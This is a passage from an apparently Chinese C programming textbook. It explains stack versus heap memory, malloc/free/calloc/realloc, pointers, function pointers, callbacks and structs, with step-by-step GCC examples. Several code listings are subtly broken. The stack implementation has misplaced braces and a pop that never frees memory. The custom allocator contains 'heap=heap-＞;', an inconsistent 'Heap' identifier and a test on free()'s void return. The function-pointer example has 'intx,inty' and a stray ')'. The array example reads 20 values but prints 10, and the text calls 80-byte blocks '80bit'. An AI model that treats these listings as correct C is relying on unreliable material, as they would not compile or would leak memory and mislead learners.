int b;/*栈*/

char s[]="xyz";/*栈*/

char*p2;/*栈*/

static int c=0;/*全局(静态)初始化区*/

p1=new char[10];

p2=new char[20];/*分配得来的和字节的区域在堆区*/

}




10.1.2　C语言中的动态内存

C语言程序的动态内存分为栈内存区域和堆内存区域两种。栈内存是由编译器管理的，堆内存是由程序调用具体的库函数管理的。

1.栈内存

栈是限定在一端进行插入和删除的线性表。在栈中允许插入和删除的一端称为栈顶（top），不允许插入和删除的另一端称为栈底（bottom）。

对于栈经常遇到的操作是：

1）置空栈initstack(s)：该操作初始化栈，是选好一个存储结构后首先耍进行的工作。

2）求栈的长度lenstack(s)：该操作返回当前栈中元素的个数。

3）判断一个栈是否为空emptystacks(s)：该操作为一个布尔函数，若栈s为空，返回true，不能进行删除，否则返回false。

4）进栈push（s,x）：该操作中栈s已存在，将x压入作为新的栈顶元素。

5）出栈pop(s)：该操作删除已存在且非空的栈s的栈顶元素。

6）获取栈顶元素gettop(s)：该操作取出s的栈顶元素，与pop(s)不同，该操作不改变栈的状态。

7）置栈为空clearstack(s)：该操作将已存在的栈s清为空栈。

以上操作中插入、删除是最主要的操作，其他操作需要判断栈的状态，根据实际需要而进行。

栈内存的使用在很大程度上依赖于处理器的硬件机制。在处理器中一般有一个寄存器来表示当前栈指针的位置。通常，在内存中分配一块区域，这块内存的上界（高内存地址）和下界（低内存地址）之间是可用的栈内存区域。

栈指针是一个指向栈区域内部的指针，即它的值是一个地址，该地址位于栈区的下界和栈区的上界之间。由此，栈指针将栈区域分成两个部分，一部分是已经使用的栈区域，另一部分是没有使用的栈区域。

栈内存的增长方式有两种：一种是向上增长的，即从低地址向高地址增长；另一种是向下增长的，即从高地址向低地址增长。在目前常见的体系结构和编译系统中，栈大都是向下增长的。在向下增长的内存中，在初始阶段（即没有任何栈空间分配的阶段），栈指针是指向栈区域的上界。随着栈使用量的增加，栈指针的值将向低地址移动，即栈指针的值将变小。

栈内存的使用中的重要特性之一是后进先出。也就是说，后放入的数据第一个取出。栈内存的使用如图10-3所示。

[image: ]


图　10-3　栈内存的使用

入栈（push）过程中，计算机根据目前栈指针的地址将寄存器的内容放入内存，入栈完成后，栈内存中已使用区域将增加这次压入的内容，栈指针移动到较低的地址。在入栈过程中，如果栈指针的变化超出栈内存的区域，将发生溢出（overflow）。

出栈（pop）过程中，计算机根据目前栈指针的地址将栈内存中的内容放入到寄存器，出栈完成后，本次弹出的内容将由已使用的内存区域变为未使用的内存区域，栈指针移动到较高的地址。

2.堆内存

一般堆内存的分配方向和栈内存是相反的，栈内存是从高地址向低地址分配，而堆内存是从低地址向高地址分配。堆内存的分配形式如图10-4所示。
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图　10-4　堆内存的分配形式

堆内存的分配过程中，每次分配将返回当前分配地址的指针。在释放的时候只需要对指针进行操作，使指针所指向的内存获得释放。

栈内存和堆内存相比，栈内存只有一个入口点，就是栈指针，栈内存压入和弹出时栈指针将发生变化；而堆内存有多个入口点，每次分配的指针是访问内存的入口，每个分配内存区域都可以被单独释放，程序可以通过对每次分配得到的指针来访问堆内存。


10.2　C程序中栈的应用

在计算机程序的开发过程中，栈的应用非常广泛。从子程序的嵌套调用，到操作系统的中断处理，从数制的转换到表达式的处理等都要用到栈的后进先出的固有特性。在编程技术得到巨大发展的今天，可以这样说，只要用编程语言来写程序，就会用到栈。

在C语言程序中，栈空间是由编译器管理的，在程序中可以体现栈空间使用的例子是参数的传递、返回值的使用以及自动变量的空间。

（1）在函数调用中的作用

考虑4个简单的函数A、B、C、D,A调用B,B调用C,C调用D，在调用的过程中不存在直接或间接的递归。

那么，当执行A函数的时候程序的运行轨迹是：A-＞B-＞C-＞D-＞C-＞B-＞A，非常明显的先进后出顺序。

更深入一点地说，当函数A调用函数B的时候，必须保存当前A函数运行的位置，以便B返回的时候可以继续运行。这是非常明显的FILO顺序，也就是说，应该使用栈来保存这样的数据。

因此，每个程序都必须包含一个运行时的栈；当然，它是由编译器负责完成的，不用程序员操心。

（2）在局部变量存储空间中的应用

一般来说，每个函数都会有自己的局部变量，这些变量在进入函数的时候分配，在退出函数的时候被释放，和函数的FILO顺序一致。

所以如果把它们放在栈上，就能够比较方便地对其管理，使得分配和释放的效率更高（释放动作只要简单修改栈指针即可）。同时，由于数据集中性原理，如果把一些经常需要使用到的数据放在一块相对比较小的区域中，Cache的命中率会相对比较大，所以在栈上存储局部变量，还可以获得更高的存取效率。由于栈空间比较小，所以不能在函数中定义需要较大空间的数组、结构体等变量。特别地，主函数main()也是一个函数，同样受到这个限制。

栈空间就是指放置程序的局部数据即函数内数据的内存空间，在系统下，栈空间是有限的，如果频繁大量地使用会造成因栈空间不足导致程序出错，函数的死循环递归调用的最终结果就是导致栈内存空间枯竭。

【例10-1】栈的使用

下面是一个以反序打印字符串的例子。该例子由一个.h文件和两个.c文件组成。

[1]在Vi中创建一个新工程文件，命名为"example10_1.c"。

[2]在"example10_1.c"中创建如下所示代码。



/*stack.h*/

#include＜stdio.h＞

#include＜stdlib.h＞

#define EMPTY 0

#define FULL 10000

typedef char data;

typedef enum{false,true}boolean;

typedef struct elem

{

data d;

struct elem*next;

}

elem;

typedef struct stack

{

int cnt;

elem*top;

}

stack;

void initialize(stack*stk);

void push(data d,stack*stk);

data pop(stack*stk);

data top(stack*stk);

boolean empty(const stack*stk);

boolean full(const stack*stk);

/*stack.c*/

void initialize(stack*stk)

{

stk-＞cnt=0;

{

stk-＞top=NULL;

}

void push(data d,stack*stk)

elem*p;

p=malloc(sizeof(elem));

p-＞next=stk-＞top;

p-＞d=d;

stk-＞top=p;

stk-＞cnt++;

}

data pop(stack*stk)

{

data d;

elem*p;

d=stk-＞top-＞d;

p=stk-＞top;

stk-＞top=p-＞next;

stk-＞cnt--;

return d;

}

data top(stack*stk)

{

return(stk-＞top-＞d);

}

boolean empty(const stack*stk)

{

return((boolean)(stk-＞cnt==EMPTY));

}

boolean full(const stack*stk)

{

return((boolean)(stk-＞cnt==FULL));

}

/*main.c*/

int main(void)

{

char str[]="HOW ARE YOU!";

int i;

stack s;

initialize(＆s);

printf("Input the string:%s\n",str);

for(i=0;str[i]!='\0';++i)

if(!full(＆s))

push(str[i],＆s);

printf("From the stack:\n");

while(!empty(＆s))

putchar(pop(＆s));

putchar('\n');

return 0;

}



[3]用GCC编译并运行程序，结果如图10-5所示。

[image: ]


图　10-5　例10-1的输出结果

从以上例子可以看出，栈的使用完全是由编译器来处理的，在程序中不需要管理栈。当函数退出以后，函数栈上的内容将被释放。


10.3　C程序中堆空间的使用

在C语言中，堆内存区域的分配和释放是通过调用库函数来完成的，它们的使用需要包含标准库文件：



#include＜stdlib.h＞



要实现根据程序的需要动态分配存储空间，就必须用到以下几个函数。

1.malloc()函数

malloc()函数的原型为：



void*malloc(size_t size);



其作用是在内存的动态存储区中分配一个长度为size的连续空间。其参数是一个无符号整型数，返回值是一个指向所分配的连续存储域的起始地址的指针。还有一点必须注意的是，当函数未能成功分配存储空间（如内存不足）时就会返回一个NULL指针。所以在调用该函数时应该检测返回值是否为NULL并执行相应的操作。

下面是一个动态分配的程序：



#include＜stdio.h＞

#include＜stdlib.h＞

main()

{

int count，*array;

if((array(int*)malloc(10*sizeof(int)))==NULL)

{

printf("分配存储空间失败！");

exit(1);

}

for(count=0;count＜10;count++)/*数组赋值*/

array[count]=count;

for(count=0;count＜10;count++)/*打印数组元素*/

printf("%2d",array[count]);

}



上例中动态分配了10个整型存储区域，然后进行赋值并打印。例中if（（array（int*）malloc（10*sizeof(int)））==NULL）可以分为以下几步：

[1]分配10个整型的连续存储空间，并返回一个指向其起始地址的整型指针。

[2]把此整型指针地址赋给array。

[3]检测返回值是否为NULL。

2.free()函数

由于内存区域总是有限的，不能无限制地分配下去，而且一个程序要尽量节省资源，所以当所分配的内存区域不用时，就要释放它，以便其他的变量或者程序使用。这时就要用到free()函数。其函数原型是：



void free(void*ptr);



其作用是释放指针ptr所指向的内存区。参数ptr必须是先前调用malloc()函数或calloc()函数（另一个动态分配存储区域的函数）时返回的指针。给free()函数传递其他的值很可能造成死机或其他灾难性的后果。这里重要的是指针的值，而不是用来申请动态内存的指针本身。例：



int*p1，*p2;

p1=malloc(10*sizeof(int));

p2=p1;

...

free(p2)/*或者free(p1)*/



malloc()返回值赋给p1，又把p1的值赋给p2，所以此时p1、p2都可作为free()函数的参数。

3.calloc()函数其函数原型为：



void*calloc(size_t nmemb,size_t size);



其作用是在内存的动态存储区中分配nmemb个长度为size的连续空间。函数返回一个指向分配域起始地址的指针；如果分配不成功，返回NULL。

4.realloc()函数函数原型为：



void*realloc(void*ptr,size_t size);



该函数将指针参数ptr指向的内存区域大小更改为size个字节。在旧的内存大小和新的内存大小二者中的较小值的内存区域是没有变化的，新分配的内存是没有初始化的。如果ptr的值为NULL，这个调用等同于malloc(size)，如果size的值为0，这个调用等同于free(ptr)。该函数的返回值是指向新空间的指针，如果错误发生，返回NULL。

【例10-2】内存分配

编程实现内存分配。

[1]在Vi中建一个新工程文件，命名为"example10_2.c"。

[2]在"example10_2.c"中创建如下所示代码。



#define BLKSIZ 80/*指明块的大小*/

#define STKSIZ 4000/*程序维护的内存大小*/

typedef union

{

char *link;

char data[BLKSIZ];

}BLOCK;

static BLOCK *heap;

static BLOCK *top_of_heap;

static BLOCK *btm_of_heap;

void IHeap()

{

unsigned blk;

BLOCK*ptr;

Heap=(BLOCK*)malloc(BLKSIZ);

btm_of_heap=heap;

ptr=heap;

for(blk=0;blk＜49;blk++)

{

ptr-＞link=(BLOCK*)malloc(BLKSIZ);

ptr=ptr-＞link;

}

ptr-＞link=NULL;

top_of_heap=ptr;

}

void u_Free(void*ptr)

{

if(ptr＞=btm_of_heap)

{

if(ptr＜top_of_heap)

{

ptr-＞link=heap;

heap=ptr;

return;

}

else if(free(ptr))

{

return;

}

}

printf("Free unallocated block!\n");

exit(1);

}

void*Allocate(unsigned bytes)

{

void*ptr;

if(bytes＜=BLKSIZ)

{

if(heap!=NULL)

{

ptr=heap;

heap=heap-＞;

return ptr;

}

}

if(ptr=malloc(bytes))

{

return ptr;

}

printf("Insufficient memory!\n");

exit(1);

}



该程序用函数IHeap()来初始化内存分配，分配了50个大小是80bit的内存块，由一个一维链表来维护。u_Free()函数通过传入的要释放的内存区域的首地址来判断这块内存是不是从heap分配出去的，如果是，就把它放到链表的头，否则说明这块内存是由malloc()分配的，需要调用free()函数来释放它。


10.4　堆内存和栈内存使用的比较

堆和栈的主要区别在于二者管理方式不同、空间大小不同、能否产生的碎片不同、生长方向不同、分配方式不同、分配效率不同等方面。下面将二者进行对比。

1.申请方式

栈：由系统自动分配，编译器自动管理，无需手工控制，存放函数的参数值、局部变量的值等。例如，在函数中声明一个局部变量int b；，系统自动在栈中为b开辟空间。

堆：需要程序员自己申请，并指明大小，在C语言中用malloc()函数实现。如



p1=(char*)malloc(10);

p2=(char*)malloc(10);



但是，注意p1、p2本身是在栈中的。

2.申请后系统的响应

栈：只要栈的剩余空间大于所申请的空间，系统将为程序提供内存，否则将报异常提示栈溢出。

堆：首先应该知道操作系统有一个记录空闲内存地址的链表，当系统收到程序的申请时，会遍历该链表，寻找第一个空间大于所申请空间的堆结点，然后将该结点从空闲结点链表中删除，并将该结点的空间分配给程序，另外，对于大多数系统，会在这块内存空间中的首地址处记录本次分配的大小，这样，代码中的delete语句才能正确地释放本内存空间。另外，由于找到的堆结点的大小不一定正好等于申请的大小，系统会自动将多余的那部分重新放入空闲链表中。

3.申请大小的限制

栈：栈内存分配运算内置于处理器的指令集中，效率很高，但是分配的内存容量有限。在Windows下，栈是向低地址扩展的数据结构，是一块连续的内存区域。这句话的意思是栈顶的地址和栈的最大容量是系统预先规定好的，在Windows下，栈的大小是2MB（也有的说是1MB，总之是一个编译时就确定的常数），如果申请的空间超过栈的剩余空间，将提示overflow。因此，能从栈获得的空间较小。

堆：一般来讲在32位系统下，堆内存可以达到4GB的空间，从这个角度来看堆内存几乎是没有什么限制的。堆是向高地址扩展的数据结构，是不连续的内存区域。这是由于系统是用链表来存储空闲内存地址的，自然是不连续的，而链表的遍历方向是由低地址向高地址。堆的大小受限于计算机系统中有效的虚拟内存。由此可见，堆获得的空间比较灵活，也比较大。

4.申请效率的比较

栈由系统自动分配，计算机会在底层对栈提供支持，分配专门的寄存器存放栈的地址，压栈出栈都有专门的指令执行，速度较快，但程序员是无法控制的。

堆是由C/C++函数库分配的内存，一般速度比较慢，会造成内存空间的不连续，从而造成大量的碎片，使程序的运行效率降低。另外，在Windows下，最好的方式是用Virtual-Alloc分配内存，它不是在堆，也不是在栈，而是直接在进程的地址空间中保留一块内存，虽然用起来最不方便，但是速度快，也最灵活。

5.堆和栈中的存储内容

栈：在函数调用时，第一个进栈的是函数调用语句的下一条可执行语句的地址，然后是函数的各个参数，在大多数的C编译器中，参数是从右往左入栈的，然后是函数中的局部变量。注意，静态变量是不入栈的。当本次函数调用结束后，局部变量先出栈，然后是参数，最后栈顶指针指向最开始存的地址，也就是主函数中的下一条指令，程序由该点继续运行。

堆：一般是在堆的头部用一个字节存放堆的大小。堆中的具体内容由程序员安排。

6.存取效率的比较

在栈上的数组比指针所指向的字符串（例如堆）存取要快。


10.5　实践拓展

1.C语言中变量的使用

在C语言程序中，对变量的使用有以下几点需注意：

1）在函数体中定义的变量通常是在栈上，不需要在程序中进行管理，由编译器处理。

2）用malloc()、calloc()、realloc()等函数分配的内存空间在堆上，程序必须保证在使用后用free()释放，否则会发生内存泄漏。

3）所有函数体外定义的是全局变量，加了static修饰符后的变量不管在函数内部或者外部都存放在全局区（静态区）。

2.C语言程序运行条件

1）程序的代码段必须位于可运行的存储区，如果不在，必须被加载到RAM中运行。

2）程序的读写数据段必须在可以读写的内存中，并且经过初始化。

3）未初始化数据段必须在可以读写的内存中开辟并被清空。


10.6　思考与练习

1.堆和栈的区别有哪些？

2.堆内存可以动态分配，栈内存是否只能静态分配？

3.堆内存和栈内存在使用方面有什么不同？


第11章　指针、回调函数、结构体与共同体

本章要点：

指针的基本概念

回调函数

结构体

共同体


 11.1　指针

C语言中指针是一个核心概念，它的本质是指向一个内存的地址。指针能够使程序简洁、紧凑、高效，能有效地表示复杂的数据结构。


 11.1.1　指针的概念

为了掌握指针的基本概念，必须了解地址、指针和间接访问之间的关系。内存空间被划分成一个个存储单元，以字节为单位，不同类型的数据占据内存单元的个数不同。一般来说，内存区的每一个字节有一个编号，这就是“地址”。如果在程序中定义了一个变量，在对程序进行编译时，系统就会给这个变量分配内存单元以便存放变量的内容。对于大多数计算机的C编译系统而言，通常字符型变量占1个字节，整型变量占2个字节等。对一般变量的存取是通过变量的地址来进行的。这种按变量的地址来存取变量值的方式称为“直接访问”方式。

在C语言中，除了可以定义整型、字符型等变量外，还可以定义另外一种类型的变量，这种类型的变量专门用来存放其他变量在内存中所分配的存储单元的首地址，即指针变量。

假设cp变量是用于存放字符型变量所占用的存储单元的首地址，同时假定已用某种方式将字符型变量c所占用的内存单元的首地址赋给了cp变量。那么，要想通过变量cp来取得字符变量c中的内容，可以按照如下两个步骤来操作。

[1]根据变量cp所占用的内存单元的首地址，读取其中所存放的数据，该数据就是字符变量c所占用的内存单元的首地址。

[2]根据第一步读取的地址以及字符型变量所占用的存储单元的长度，读取字符变量c的值。

上述存取c变量值的方式称为“间接访问”方式。借助于指针这一概念能方便地达到间接访问的目的。


11.1.2　变量的指针和指向变量的指针变量

变量的指针就是变量的地址。可以定义一个指向一个变量的指针变量。为了表示指针变量和它所指向的变量之间的关系，用“*”表示“指向”。例如定义了一个指针变量i_pointer用来存放整型变量的地址，它被分配地址为3000、3001的两个字节。可以通过语句：



i_pointer=＆i;



将i的地址（2000）存放到i_pointer中。这时，i_pointer的值就是（2000），即变量i所占用单元的起始地址。要存取变量i的值，可以采用间接方式：先找到存放“i的地址”的变量i_pointer，从中取出i的地址（2000），然后到2000、2001字节取出i的值，如图11-1所示。
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图　11-1　指针变量与其所指向的变量的关系

1.指针变量的定义

在C程序中，专门存放变量地址的变量叫指针变量。指针变量定义的一般形式为：



类型标识符 *标识符;



标识符就是指针变量的名字。

例如：



int*pointer1;

float*pointer2;

char*pointer3;



都是合法的定义，表示定义了三个指针变量pointer1、pointer2、pointer3。pointer1可以指向一个整型变量，pointer2可以指向一个实型变量，pointer3可以指向一个字符型变量，换句话说，pointer1、pointer2、pointer3可以分别存放整型变量的地址、实型变量的地址、字符型变量的地址。

一个指针变量只能指向定义时所指定类型的变量，不能指向其他类型的数据。

可以用赋值语句使一个指针变量得到另一个变量的地址，从而使它指向该变量。如：



pointer1=＆i;

pointer2=＆j;



如图11-2所示。
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图　11-2　指针变量的赋值

在定义指针变量时，要注意两点：

1）指针变量前面的“*”表示该变量的类型为指针型变量。如：



float *pointer1;



指针变量名是pointer1，而不是*pointer1。

2）在定义指针变量时必须指定类型。一个指针变量只能指向同一个类型的变量。

需要特别注意的是，只有整型变量的地址才能放到指向整型变量的指针变量中。下面的赋值是错误的，其错误在于将float型变量的地址放到指向整型变量的指针变量中。



float i;

int *pointer1;

pointer1=＆i;



2.指针变量的引用

利用指针变量，可以提供对变量的一种间接访问形式。有两个有关的运算符：

1）＆：取地址运算符，它的作用是取得变量所占用的存储单元的首地址。

在利用指针变量进行间接访问之前，一般都必须使用该运算符将某变量的地址赋给相应的指针变量。如＆i_pointer表示指针变量占用内存的地址。

2）*：指针运算符，也叫间接访问运算符，它的作用是通过指针变量来间接访问它所指向的变量（存数据或取数据）。如*i_pointer是指针的目标变量，它的内容是数据。

【例11-1】指针变量的使用

本例要求通过指针变量访问整型变量。

[1]在Vi中创建一个新工程文件，命名为"example11_1.c"。

[2]在"example11_1.c"中创建如下所示代码。



#include＜stdio.h＞

void main()

{

int x,y;

int *pointer1，*pointer2;

x=6;y=10;

pointer1=＆x;/*把变量x的地址赋给pointer1*/

pointer2=＆y;/*把变量y的地址赋给pointer2*/

printf(″%d,%d\n″,x,y);

printf(″%d,%d\n″，*pointer1，*pointer2);

}



[3]利用GCC编译并执行这段程序，结果如图11-3所示。
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图　11-3　通过指针变量访问整型变量

该程序在开头处定义了两个指针变量pointer1和pointer2，但是它们并没有指向任何一个整型变量，只是提供两个指针变量，规定它们可以指向整型变量。它们指向哪一个整型变量需要在程序中指定。pointer1=＆x和pointer2=＆y的作用就是使pointer1指向x，使point-er2指向y。


11.1.3　数组的指针和指向数组的指针变量

一个变量有地址，一个数组包含若干元素，每个数组元素都在内存中占用存储单元，它们都有相应的地址。指针变量既然可以指向变量，当然也可以指向数组元素（把某一元素的地址放到一个指针变量中）。所谓数组元素的指针就是数组元素的地址。

引用数组元素可以用下标法，如a[5]，也可以用指针法，通过指向数组元素的指针找到所需的元素。使用指针法可以减少存储空间，提高程序的运行速度。

1.指向数组元素的指针变量的定义与赋值

定义一个指向数组元素的指针变量的方法与前面介绍的指向变量的指针变量相同。例如：



int a[10];/*定义a为包含10个整型数据的数组*/

int *p;/*定义p为指向整型变量的指针变量*/



如果数组为int型，则指针变量的类型亦应为int型。

对该指针变量赋值：



p=＆a[0];



把a[0]元素的地址赋给指针变量p。也就是使p指向a数组的第0号元素，如图11-4所示。
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图　11-4　给指向数组的指针变量赋值

2.通过指针引用数组元素

引用一个数组元素，可以用：

·下标法，如a[i]形式。

·指针法，如*（a+i）或*（p+i）。其中a是数组名，p是指向数组元素的指针变量，其初值p=a。

【例11-2】利用指针引用数组元素

假设有一个整型数组array，有20个元素，输出各元素的值。

[1]在Vi中创建一个新工程文件，命名为"example11_2.c"。

[2]在"example11_2.c"中创建如下所示代码。



#include＜stdio.h＞

main()

{

int array[20];

int *p,i;

for(i=0;i＜20;i++)

scanf(″%d″,＆array[i]);

printf(″\n″);

for(p=array;p＜(array+10);p++)

printf(″%d″，*p);

}



[3]利用GCC编译并执行这段程序，结果如图11-5所示。
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图　11-5　数组元素的输入和输出

本例中用指针变量直接指向元素，不必每次都重新计算地址，像p++这样的自加操作是比较快的，能大大提高程序的执行效率。


11.1.4　字符串的指针和指向字符串的指针变量

与其他类型的数组不同，存放字符串的字符数组在初始化时，系统会自动接一个‘\0’到字符串的末尾，例如：



main()

{

char str[]="ABC";

printf("%s",str);

}



程序运行的结果为：



ABC



在字符数组str初始化时，系统将字符‘A’赋给str[0]，‘B’赋给str[1]，‘C’赋给str[2]，并自动将字符串结束符‘\0’赋给str[3]。调用printf()函数输出时，传递的实际参数是数组名称，也就是数组的首地址。printf()函数的实现部分将根据该指针依次搜索字符串的字符，直到字符串结束符‘\0’为止。

上例也可以用指针变量来处理：



main()

{

char*str="ABC";

printf("%s",str);

}



C语言中，字符常量是按照字符数组来处理的，也就是说，如果程序中有一个字符串常量，系统会自动在内存中创建一个字符数组，将字符串的内容保存在字符数组中，并加字符串结束符‘\0’。上面程序中的char*str="ABC"不能理解为将字符串赋给指针变量str，应该理解为定义了一个指向char型变量的指针变量str，系统自动在内存中创建一个4元素的字符数组，前三个元素存放字符'A'、'B'、'C'，最后一位存放字符串结束符‘\0’，将字符数组的首地址赋给指针变量str。

进行字符串操作时，一定要保证字符数组是存在的。

将一个字符串从一个函数传递到另一个函数，可以用地址传递的方法，即用字符数组名作参数或用指向字符串的指针变量作参数。在被调用的函数中可以改变字符串的内容，在主调函数中可以得到改变了的字符串。

【例11-3】字符串指针的应用

用字符数组作参数实现字符串的复制。

[1]在Vi中创建一个新工程文件，命名为"example11_3.c"。

[2]在"example11_3.c"中创建如下所示代码。



#include＜stdio.h＞

void main()

{

void copy_string(char from[],char to[]);

char a[]="How are you!";

char b[]="How do you do";

printf("string a=%s\n string b=%s\n",a,b);

printf("copy string a to string b:\n");

copy_string(a,b);

printf("\nstring a=%s\nstring b=%s\n",a,b);

}

void copy_string(char from[],char to[])

{

int i=0;

while(from[i]!='\0')

{

to[i]=from[i];

i++;

}

to[i]='\0';

}



[3]利用GCC编译并执行这段程序，结果如图11-6所示。
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图　11-6　用字符数组作参数


11.1.5　函数的指针和指向函数的指针变量

可以用指针变量指向整型变量、字符串、数组，也可以指向一个函数。一个函数在编译时被分配给一个入口地址。这个函数的入口地址就称为函数的指

针。

【例11-4】函数指针的应用

求a和b两个数中的较大者。

[1]在Vi中创建一个新工程文件，命名为"example11_4.c"。

[2]在"example11_4.c"中创建如下所示代码。



#include＜stdio.h＞

main()

{

int max();

int(*p)(int,int);

int a,b,c;

p=max;

scanf("%d,%d,",＆a,＆b);

c=(*p)(a,b);

printf("a=%d,b=%d,max=%d",a,b,c);

}

max(intx,inty)

{

return(x＞y?x:y);

)



[3]利用GCC编译并执行这段程序，结果如图11-7所示。
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图　11-7　函数指针的应用

其中，int(*p)()说明p是一个指向函数的指针变量，此函数带回整型的返回值，*p两侧的括号不可以省略，表示p先与*结合，然后再与后面的()结合，表示此指针变量指向函数，这个函数值（即函数返回值）是整型的。

指向函数的指针变量的一般定义形式为：



数据类型标识符(*指针变量名)();



这里的“数据类型标识符”是指函数返回值的类型。函数的调用可以通过函数名调用，也可以通过函数指针调用（即用指向函数的指针变量调用）。

函数指针变量常用的用途之一是把指针作为参数传递到其他函数。前面介绍过，函数的参数可以是变量、指向变量的指针变量、数组名、指向数组的指针变量等。指向函数的指针也可以作为参数，以实现函数地址的传递，这样就能够在被调用的函数中使用实参函数。它的原理可以简述如下：有一个函数（假设函数名为sub），它有两个形参（x1和x2），定义x1和x2为指向函数的指针变量。在调用函数sub()时，实参为两个函数名f1和f2，给形参传递的是函数f1和f2的地址。这样在函数sub()中就可以调用f1和f2函数了。如：
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其中，i和j是函数f1和f2所要求的参数。函数sub()中的指针变量x1和x2在函数sub()未被调用时并不占内存单元，也不指向任何函数。在sub()被调用时，把实参函数f1和f2的函数入口地址传给形参指针变量x1和x2，使x1和x2分别指向函数f1和f2。


11.1.6　指针数组和指向指针的指针

一个指针变量可以指向整型变量、实型变量、字符型变量，当然也可以指向指针类型变量。当这种指针变量用于指向指针类型变量时，被称为指向指针的指针变量，这实际是双重指针的含义。下面用图11-8来描述这种双重指针。
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图　11-8　双重指针

在图中，整型变量i的地址是＆i，将其传递给指针变量p，则p指向i；实型变量j的地址是＆j，将其传递给指针变量p，则p指向j。字符型变量ch的地址是＆ch，将其传递给指针变量p，则p指向ch。整型变量x的地址是＆x，将其传递给指针变量p2，则p2指向x,p2是指针变量，同时，将p2的地址＆p2传递给p1，则p1指向p2。这里的p1就是指向指针变量的指针变量。指向指针的指针变量定义如下：



类型标识符**指针变量名;



例如：



char**p;



p的前面有两个*号。*运算符的结合性是从右到左，因此**p相当于*（*p），显然*p是指针变量的定义形式。如果没有最前面的*，那就是定义了一个指向字符数据的指针变量。现在它前面又有一个*号，表示指针变量p是指向一个字符指针变量的。*p就是p所指向的另一个指针变量。

【例11-5】指向指针的指针变量应用

本例要求实现指向指针的指针变量的正确引用。

[1]在Vi中创建一个新工程文件，命名为"example11_5.c"。

[2]在"example11_5.c"中创建如下所示代码。



#include＜stdio.h＞

void main()

{

char*name[]={"China","Beijing","Shanghai","Computer design"};

char**p;

int i;

for(i=0;i＜4;i++)

{

p=name+i;

printf("%s\n"，*p);

}

}



[3]利用GCC编译并执行这段程序，结果如图11-9所示。
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图　11-9　指向指针的指针变量的应用


11.2　回调函数

本节介绍C语言中的回调函数，回调函数在库函数和应用程序中都有广泛的使用。


 11.2.1　回调函数的概念与作用

回调函数（callback function）是程序中一种常用的函数调用方式，是一个通过函数指针调用的函数。回调函数的特点是可以在下层软件模块中调用来自上层的软件模块中的函数。软件模块之间总是存在着一定的接口，从调用方式上，可以把它们分为三类：同步调用、回调和异步调用。

同步调用是最常用的调用方式，是一种阻塞式调用，由上层模块调用下层模块，如图11-10所示。
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图　11-10　函数的同步调用

回调是一种双向调用模式，也就是说，下层模块的函数在被调用的时候，将会调用上层模块的某个函数，如图11-11所示。
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图　11-11　带有回调函数的调用

异步调用是一种类似消息或事件的机制，不过它的调用方向刚好相反，接口的服务在收到某种信息或发生某种事件时，会主动通知客户方（即调用客户方的接口）。回调和异步调用的关系非常紧密，通常使用回调来实现异步消息的注册，通过异步调用来实现消息的通知。异步调用如图11-12所示。
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图　11-12　异步函数调用

回调函数的表现形式是一个某种类型的函数指针，这个函数由上层的软件模块实现，将这个函数指针通过某种方式传递给下层的软件模块，由下层的软件模块在某个时刻调用这个函数。使用回调函数可以把调用者和被调用者分开，调用者不关心谁是被调用者，所有它需知道的，只是存在一个具有某种特定原型、某些限制条件（如返回值为int）的被调用函数。

函数指针的本质是一个函数的地址，在32位的C语言系统中，本质上就是一个32位无符号的整型数。函数指针由上层软件模块到下层软件模块的传递方式可以是通过作为函数的参数传递，也可以是使用结构体的成员进行传递。调用回调函数的方式一般有两种：一种是在上层模块调用的下层模块的函数中，直接调用回调函数；另一种是使用注册的方式，在某个事件发生的时候下层模块调用回调函数。


11.2.2　回调函数的语法

回调函数是一个不能显式调用的函数，通过将回调函数的地址传给调用者从而实现调用。要实现回调，必须首先定义函数指针。函数指针的声明与函数声明非常类似。例如：



void f();



上面的语句声明了一个函数，没有输入参数并返回void。函数指针的声明方法如下：



void(*)();



左边圆括弧中的星号是函数指针声明的关键。另外两个元素是函数的返回类型（void）和右边圆括弧中的入口参数（本例中参数为空）。注意本例中还没有创建指针变量，只是声明了变量类型。目前可以用这个变量类型来创建类型定义名及用sizeof表达式获得函数指针的大小：



unsigned psize=sizeof(void(*)());/*获得函数指针的大小*/

typedef void(*pf)();/*为函数指针声明类型定义*/



pf是一个函数指针，它指向的函数没有输入参数，返回类型为void。使用这个类型定义名可以隐藏复杂的函数指针语法。指针变量应该有一个变量名，如



void(*p)();



p是指向某函数的指针，该函数无输入参数，返回值的类型为void。左边圆括弧里星号后为指针变量名。有了指针变量便可以赋值，值的内容是署名匹配的函数名和返回类型。例如：



void func()

{

}

p=func;



p的赋值可以不同，但一定要是函数的地址，并且署名和返回类型相同。现在可以将p传递给另一个函数（调用者）caller()，它将调用p指向的函数，而此函数名是未知的。



void caller(void(*ptr)())

{

ptr();/*调用ptr指向的函数*/

}

void func();

int main()

{

p=func;

caller(p);/*传递函数地址到调用者*/

}



如果赋了不同的值给p（不同函数地址），那么调用者将调用不同地址的函数。赋值可以发生在运行时，这样能实现动态绑定。


11.3　结构体

有时需要将不同类型的数据组合成一个有机的整体，以便于引用。这些组合在一个整体中的数据是互相联系的，应当把它们组织成一个组合项，在一个组合项中包含若干个类型不同的数据项。C语言提供了这样的一种数据结构，称为结构体（structure）。

有时需要使几种不同类型的变量存放在同一段内存单元中，使其共占同一段内存，这种结构被称为共同体类型的结构。


 11.3.1　结构体类型变量

定义一个结构体的一般形式为：



struct结构体名

{

类型标识符1 成员名1;

类型标识符2 成员名2;

…

类型标识符n 成员名n;

};



struct是声明结构体的关键词，结构体名用来标识一个结构体，成员可以是任何C语言的数据类型，如整型、浮点型、数组等。例如：一个学生的学号（num）、名字（name）、性别（sex）、年龄（age）、成绩（score）、地址（addr）等项都与该学生相联系，这些数据分属不同的类型，但有内在的联系，可以把它们组织成一个组合项，用结构体定义如下：



struct student

{

int num;

char name[20];

char sex;

int age;

float score;

char addr[30];

};



声明结构体也是一个C语言的语句，因此要用分号作为该语句的结束。

1.定义结构体类型变量的方法

结构体类型属于用户自定义类型，声明了一个结构体系统并不为它分配内存空间，只有定义了结构体类型的变量，系统才能为该变量分配内存空间。要定义一个结构体类型的变量，可以采取以下三种方法。

（1）先定义结构体类型再定义变量名

如：



struct student student1,student2;



定义student1和student2为struct student类型变量。

（2）在定义类型的同时定义变量

其一般形式为：



struct结构体名

{

类型标识符1 成员名1;

类型标识符2 成员名2;

…

类型标识符n 成员名n;

}变量名表列;



例如：



struct student

{

int num;

char name[20];

char sex;

int age;

float score;

char addr[30];

}student1,student2;



它的作用与前面的定义相同，即定义了两个struct student类型的变量student1和student2。

（3）直接定义结构类型变量

